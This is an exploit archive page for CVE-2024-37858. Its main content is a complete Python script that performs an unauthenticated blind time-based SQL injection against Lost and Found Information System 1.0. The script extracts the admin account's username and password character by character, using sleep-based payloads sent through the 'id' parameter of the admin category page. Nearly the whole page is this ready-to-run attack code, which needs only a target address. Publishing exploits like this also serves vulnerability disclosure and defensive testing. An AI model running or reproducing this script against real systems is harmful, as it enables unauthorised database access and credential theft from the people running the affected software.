exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Lost And Found Information System 1.0 SQL Injection

Lost And Found Information System 1.0 SQL Injection
Posted Jun 13, 2024
Authored by Amit Roy

Lost and Found Information System version 1.0 suffers from an unauthenticated blind time-based remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2024-37858
SHA-256 | 7aedced0fdccf4a2850ec7db755dae9b61e52dc3f3c4359c11d7d251b16756f9

Lost And Found Information System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Unauthenticated Blind Time-Based SQL Injection Exploit - Lost and Found Information System 
# Exploit Author: Amit Roy (Rezur / AR0x7)
# Date: June 07, 2024
# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.
# CVE : CVE-2024-37858

import requests,string,sys,argparse

r = requests.Session()
proxies = {'http': 'http://127.0.0.1:8080'}

admin_path = "/php-lfis/admin/index.php"
createCategory_path = "/php-lfis/classes/Master.php"

def char_extract(rhost, payload):
params = {"page": "categories/manage_category", "id": payload}
response = r.get(rhost+admin_path, params=params)
if response.elapsed.total_seconds() > 1:
return True
else:
return False

def sqli(rhost, column):
charset = string.printable
output_length = 200
output = ""
for i in range(output_length):
for char in charset:
# Extracts the credentials of user with id=1, admin by default
payload = "13371337' or if((char(%s)=(select substring(%s,%s,1) from users where id=1)),sleep(1),1)-- -" % (ord(str(char)),str(column),str(i+1))
sys.stdout.write(f"\r[*] Extracting: {output}\r")
if char_extract(rhost, payload):
output += char
break
elif char == '~' and not char_extract(rhost, payload):
print("[*] Extracting:",output)
return output

def argsetup():
about = 'Unauthenticated Blind Time-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'
parser = argparse.ArgumentParser(description=about)
parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)
args = parser.parse_args()
return args

def main():
args = argsetup()
rhost = args.target
print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))

if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close